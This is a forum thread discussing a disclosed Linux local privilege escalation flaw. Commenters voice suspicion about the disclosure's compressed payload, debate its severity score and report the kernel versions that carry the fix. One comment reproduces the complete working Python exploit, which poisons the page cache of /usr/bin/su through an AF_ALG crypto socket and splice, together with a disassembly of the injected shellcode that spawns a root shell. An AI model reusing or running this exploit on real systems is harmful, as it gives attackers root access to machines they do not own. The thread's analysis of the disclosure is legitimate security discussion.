Copy Fail — 732 Bytes to Root
copy.fail
CVE-2026-31431. 100% Reliable Linux LPE — no race, no per-distro offsets, page-cache write that bypasses on-disk file-integrity tools and crosses containers. Found by Xint Code.
    • rabber@lemmy.caOPEnglish
      35·
      24 天前

      I agree. This seems fishy to me. I am concerned about compressed code in a public disclosure like this. Also it seems like all the documentation was written by AI.

      • hendrik@palaver.p3x.deEnglish
        31·
        24 天前

        The entire page is an advertisement for an AI tool that helped uncover it. Guess that’s the demonstration on how it augments a report.

    • treadful@lemmy.zipEnglish
      25·
      24 天前

      Very quick cursory review: The python script appears to decompress what might be an ELF from those compressed bytes. Then it opens a cryptography socket (AF_ALG) with the kernel and sends that whole thing.

      So the exploit is in the binary data and would likely take some skilled Linux engineers to decompile it and figure out the exploit.

      I’m not entirely sure why they would obfuscate it. Maybe they think it helps with responsible disclosure so people can’t make something more useful than the PoC?

  • MoogleMaestro@lemmy.zipEnglish
    34·
    24 天前

    It’s a bit strange that this code requires a binary blob to verify, I think people who want to experiment with this should take some caution as it could be an exploit-in-an-exploit (user is highlighting a real exploit, but also trying to take advantage of people testing by effectively installing a back-door.) I won’t say that’s happening for sure, but take running this yourself with extreme caution.

      • MoogleMaestro@lemmy.zipEnglish
        1·
        22 天前

        I had always heard “binary blob” said when it came to opaque code, but I see that blob is what is used to describe unexplained binary data as a whole in database lingo, so I’m willing to say your usage of it is probably more correct than mine here, assuming the binary data isn’t an actual program (afaik there’s no elf-file like characteristics but who knows.). 😇

  • Eager Eagle@lemmy.worldEnglish
    26·
    24 天前

    wtf

    An unprivileged local user can write 4 controlled bytes into the page cache of any readable file on a Linux system, and use that to gain root.

    If your kernel was built between 2017 and the patch — which covers essentially every mainstream Linux distribution — you’re in scope.

    how does that only get a CVE score of 7.8, the impact of this is huge

      • nyan@sh.itjust.works
        16·
        24 天前

        Exactly. It’s Yet Another Privilege Escalation Vulnerability. Unless you’re dealing with a multiuser machine, the attacker first needs to use some other vuln to get into an unprivileged account. Without that additional vulnerability, this exploit is useless.

        • solrize@lemmy.ml
          13·
          24 天前

          some other vuln

          You mean like inveigling it into a pypi or npm or whatever package? Checks out.

        • sakuraba@lemmy.ml
          5·
          24 天前

          hey these exploits keep the lights on for some tech youtubers, stop making fun of it!! it is very dangerous!!!

          (video titled: LINUX HAS BEEN HACKED, AGAIN?!)

  • pseud@lemmy.zip
    24·
    24 天前

    Script:

    #!/usr/bin/env python3

import os, socket

f = os.open("/usr/bin/su", 0)

e = b'\x7fELF\x02\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00>\x00\x01\x00\x00\x00x\x00@\x00\x00\x00\x00\x00@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00@\x008\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00@\x00\x00\x00\x00\x00\x00\x00@\x00\x00\x00\x00\x00\x9e\x00\x00\x00\x00\x00\x00\x00\x9e\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x001\xc01\xff\xb0i\x0f\x05H\x8d=\x0f\x00\x00\x001\xf6j;X\x99\x0f\x051\xffj<X\x0f\x05/bin/sh\x00\x00\x00'

for i in range(0, len(e), 4):
    s = socket.socket(38, 5, 0)
    s.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
    s.setsockopt(279, 1, bytes.fromhex('0800010000000010' + '0' * 64))
    s.setsockopt(279, 5, None, 4)
    u, _ = s.accept()
    u.sendmsg([b"AAAA" + e[i:i + 4]],
              [(279, 3, b'\x00\x00\x00\x00'),
               (279, 2, b'\x10' + b'\x00' * 19),
               (279, 4, b'\x08\x00\x00\x00'), ],
              32768)
    r, w = os.pipe()
    os.splice(f, w, i + 4, offset_src=0)
    os.splice(r, u.fileno(), i + 4)
    try:
        u.recv(8 + i)
    except: pass

os.system("su")

    Blob:

    0x00400078      eax = 0
0x0040007a      edi = 0
0x0040007c      al = 0x69                 ; 'i' ; 105
0x0040007e      syscall                   ; sys_setuid(0)
0x00400080      rdi = rip + 0xf           ; data.00400096
                                          ; 0x400096 ; "/bin/sh"
0x00400087      esi = 0
0x00400089      push 0x3b                 ; ';' ; 59
0x0040008b      pop rax
0x0040008c      cdq
0x0040008d      syscall                   ; sys_execve("/bin/sh", NULL, NULL)
0x0040008f      edi = 0
0x00400091      push 0x3c                 ; '<' ; 60
0x00400093      pop rax
0x00400094      syscall                   ; sys_exit(0)

    The blob is obviously a stub-su that /usr/bin/su page cache is poisoned with.

  • timroerstroem@feddit.dk
    8·
    24 天前

    Worth mentioning that the fix was merged into 6.19.12 (and 7.0; probably also the LTSs, but I didn’t bother to check those).